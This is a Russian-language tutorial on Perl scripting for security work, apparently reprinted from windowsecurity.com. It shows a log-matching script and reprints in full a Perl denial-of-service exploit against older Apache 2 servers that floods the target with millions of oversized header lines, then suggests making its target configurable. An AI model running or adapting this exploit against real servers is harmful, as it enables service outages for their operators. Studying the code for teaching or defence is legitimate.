Мы видели в первой части этой статьи, что написание сценариев (scripting) занимает определенное место в жизни специалиста по компьютерной безопасности. В этой второй части я покажу вам, как изменить ранее написанный сценарий, а также поговорим о некоторых мощных инструментах для работы с командной строкой.
Если вы пропустили предыдущую статью из этого цикла, то, пожалуйста, прочитайте: Сценарий и безопасность (Часть 1).
В первой части этой статьи, посвященной тому, как вам, как практикующему специалисту по компьютерной безопасности, может помочь написание сценариев, мы рассмотрели как сценарий, написанный на языке PERL, может помочь вам. Как я упоминал в первой части, существует много различных назначений для языка PERL или Python в зависимости от ваших личных предпочтений. То, о чем мы расскажем в этой части статьи – это как модифицировать сценарий, о котором я рассказал в первой части статьи, а затем рассмотрим модуль io:module языка PERL. Также мы рассмотрим некоторые такие мощные средства, как sed, grep и другие инструменты, импортированные на Win32.
Я ничего о вас не знаю, но очень необычно начинать новую работу только с выяснения правильных сценариев, которые вам приходится поддерживать. Что я имею ввиду под правильными сценариями – это те сценарии с которых вы начинаете новую работу. Часто очень сложно поддерживать или понять эти сценарии, в зависимости от того, как хорошо они написаны, и от наличия или отсутствия в сценарии комментариев. Помните, если вас сценарий планируется быть расширяемым, то вы должны включать в него подробные комментарии для тех людей, которые в дальнейшем будут сопровождать или модифицировать ваш сценарий. На этом моменте давайте посмотрим на сценарий, который я написал в предыдущей статье.
Ради краткости я не буду включать сценарий или файл с ним, который я показывал в первой части этой статьи. Пожалуйста найдите первую часть и скопируйте это файл с примером в вашу директорию C:\. Теперь, после того как вы сделали это, мы может перейти к изменению сценария. Нам нужно изменить шаблон для поиска (search pattern), добавив к адресу “192.168.1.102” другой IP адрес. Да, в самом деле вы можете написать сценарий, который будет искать более, чем по одному шаблону за раз! Единственное изменение, которое нам нужно сделать, описано ниже. Все остальное в сценарии останется без изменений.
#!/usr/bin/perl -w$pattern = «(192.168.1.102|192.168.1.103)»; #changes are done here on this line
open(INPUT, ‘c:\articlefile’) || die «can’t open the file called article_file: $1»;
open(OUTPUT, ‘>c:\articleoutput’) ||die «can’t write to the file called script_output: $1»;
while(<INPUT>) {
if ($_ =~(m/$pattern/g)) {
print OUTPUT «$_\n»;
}
}
close(INPUT);
close(OUTPUT);
Теперь, когда мы изменили наш сценарий (script), как показано выше, универсальность PERL снова выходить на передний план. Путем простого изменения одной строки, у вас теперь появилась возможность поиска нескольких ссылок на шаблон (instances of a pattern), который может вас заинтересовать. Быстро и легко – именно поэтому язык PERL так популярен.
Ранее в этой статье я упоминал, что мы рассмотрим на один из многих модулей, предлагаемых языком программирования PERL. Я надеюсь, что вы уже перешли по только что предложенной мной гиперссылке (hyperlink) – там вы можете найти невероятное количество различных модулей. Здесь можно найти работающие модули, а затем практиковать на них ваши знания PERL путем изменения некоторых из них для различных своих целей. Просто необходимо немного выучить PERL. Т.к. безопасность всегда является предметом особого внимания для нас, давайте взглянем на небольшой кусок хакерского кода, который был написан на PERL, и для этого мы использовали модуль io:module. Пожалуйста, посмотрите на пример кода ниже.
#!/usr/bin/perl
#
#exploit for apache ap_get_mime_headers_core() vuln
#
#adv is here: http://www.guninski.com/httpd1.html
#
#version: apache 2 <2.0.49 apache 1 not tested.
#
#by bkbll bkbll#cnhonker.net http://www.cnhonker.com
#
#tail -f /var/log/messages
#Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd)
#
use IO::Socket::INET;
$host=»192.168.1.108″;
$port=80;
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto
=> ‘tcp’) || die «new error$@\n»;
binmode($sock);
$hostname=»Host: $host»;
$buf2=’A’x50;
$buf4=’A’x8183;
$len=length($buf2);
$buf=»GET / HTTP/1.1\r\n»;
send($sock,$buf,0) || die «send error:$@\n»;
for($i= 0; $i < 2000000; $i++)
{
$buf=» $buf4\r\n»;
send($sock,$buf,0) || die «send error:$@, target maybe have been
D.o.S?\n»;
}
$buf=»$hostname\r\n»;
$buf.=»Content-Length: $len\r\n»;
$buf.=»\r\n»;
$buf.=$buf2.»\r\n\r\n»;
send($sock,$buf,0) || die «send error:$@\n»;
print «Ok, our buffer have send to target \n»;
close($sock);
Как мы можем увидеть из сценария, в нем используется жестко прописанный (hard coded) IP адрес. Это можно увидеть в подчеркнутой строке: в значении переменной $host. Благодаря короткому, состоящему всего из 24 строчек, написанных на языке PERL, появился хакерский код. Он используется для демонстрации состояния отказ в обслуживании (denial of service — DOS) на веб-сервере Apache web server. Когда вы смотрите на хакерский код, написанный на C или на C++ , то почти наверняка он будет состоять более чем из 24 строк.
Этот кусок хакерского кода великолепный пример того, насколько гибок язык программирования PERL. Давайте теперь пойдем дальше и изменим сценарий так, чтобы вы не использовали жестко закодированный IP адрес, а имели возможность его задания? То же самое вы можете сделать по отношению к переменной, отвечающей за порт. Это просто небольшие изменения, но они помогут показать вам насколько гибок и компактен может быть язык PERL.
В течение долгого времени Linux и UNIX могли смело заявлять, что они обладали лучшими инструментами программной оболочки (shell). С этим было достаточно сложно спорить, потому что это было действительно так. Но теперь это изменилось, и win32 получил доступ к этим мощным инструментам. Перенесены на win32 с Linux и UNIX некоторые наиболее известные средства — sed и grep. Внесение изменений в очень длинный документ могло быть очень обременительным занятием. Но только не с помощью утилиты sed. Эта маленькая программа сильно упрощает эту задачу. Вы можете загрузить эти инструменты прямо отсюда. После того, как вы познакомитесь с такими инструментами, как sed и grep, то вы сможете лучше понять прелести работы с командной строкой, которая представлена с помощью cmd.exe.
В рамках этой статьи, состоящей из двух частей, мы увидели, что PERL – это неоценимый инструмент для специалиста по компьютерной безопасности. Если после неудачных попыток изучения C или C++, вы поняли, что это не для вас, то определенно попытайтесь изучить PERL. Возможность написания таких простых сценариев, о которых мы рассказали в этой статье, позволит вам съэкономить уйму времени в будущем. Другая замечательная возможность PERL заключается в его переносимости, в случае, если вы работаете в гетерогенной среде (heterogeneous environment). Наконец, такие мощные инструменты, как sed и grep могут быть очень полезными в повседневной работе. Вы будете удивлены насколько мощны и как удобны эти инструменты. Я искренне надеюсь, что вам понравилась эта статья. До новых встреч!
Источник www.windowsecurity.com
Tags: apache, linux, redirect, search, UNIX